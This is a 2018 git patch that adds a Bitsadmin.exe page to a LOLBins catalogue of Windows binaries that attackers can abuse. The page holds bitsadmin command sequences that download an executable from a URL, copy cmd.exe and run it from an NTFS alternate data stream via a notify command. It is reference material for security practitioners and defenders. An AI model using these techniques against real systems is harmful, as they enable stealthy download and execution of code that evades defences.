From 183e618148defc728f3ea068d7a4bf4d6e86843e Mon Sep 17 00:00:00 2001
From: Oddvar Moe <oddvar.moe@advania.no>
Date: Mon, 7 May 2018 13:58:43 +0200
Subject: [PATCH] Bitsadmin.exe

---
 LOLBins.md              |  1 +
 OSBinaries/Bitsadmin.md | 45 +++++++++++++++++++++++++++++++++++++++++
 2 files changed, 46 insertions(+)
 create mode 100644 OSBinaries/Bitsadmin.md

diff --git a/LOLBins.md b/LOLBins.md
index b4422ef..b067aaf 100644
--- a/LOLBins.md
+++ b/LOLBins.md
@@ -6,6 +6,7 @@ If you are missing from the acknowledgement, please let me know (I did not forge
 # OS BINARIES
 [Atbroker.exe](OSBinaries/Atbroker.md)    
 [Bash.exe](OSBinaries/Bash.md)    
+[Bitsadmin.exe](OSBinaries/Bitsadmin.md)    
 [Certutil.exe](OSBinaries/Certutil.md)    
 [Cmdkey.exe](OSBinaries/Cmdkey.md)    
 [Cmstp.exe](OSBinaries/Cmstp.md)     
diff --git a/OSBinaries/Bitsadmin.md b/OSBinaries/Bitsadmin.md
new file mode 100644
index 0000000..307b234
--- /dev/null
+++ b/OSBinaries/Bitsadmin.md
@@ -0,0 +1,45 @@
+## Bitsadmin.exe
+
+* Functions: Execute, Download, Copy, Read ADS
+
+```
+bitsadmin /create 1   
+bitsadmin /addfile 1 c:\windows\system32\cmd.exe c:\data\playfolder\cmd.exe    
+bitsadmin /SetNotifyCmdLine 1 c:\data\playfolder\1.txt:cmd.exe NULL    
+bitsadmin /RESUME 1   
+bitsadmin /complete 1
+
+bitsadmin /create 1   
+bitsadmin /addfile 1 https://live.sysinternals.com/autoruns.exe c:\data\playfolder\autoruns.exe   
+bitsadmin /RESUME 1   
+bitsadmin /complete 1   
+
+
+bitsadmin /create 1 & bitsadmin /addfile 1 c:\windows\system32\cmd.exe c:\data\playfolder\cmd.exe & bitsadmin /RESUME 1 & bitsadmin /Complete 1 & bitsadmin /reset    
+```
+
+Acknowledgements:
+* Rob Fuller - @mubix 
+* Chris Gates - @carnal0wnage
+* Oddvar Moe - @oddvarmoe
+
+Code sample:
+* 
+
+Resources:
+* https://www.slideshare.net/chrisgates/windows-attacks-at-is-the-new-black-26672679 - Slide 53
+* https://www.youtube.com/watch?v=_8xJaaQlpBo
+* https://gist.github.com/api0cradle/cdd2d0d0ec9abb686f0e89306e277b8f
+
+Full path:
+```
+c:\windows\system32\bitsadmin.exe
+c:\windows\sysWOW64\bitsadmin.exe
+```
+
+Notes:
+
+
+Detection:
+
+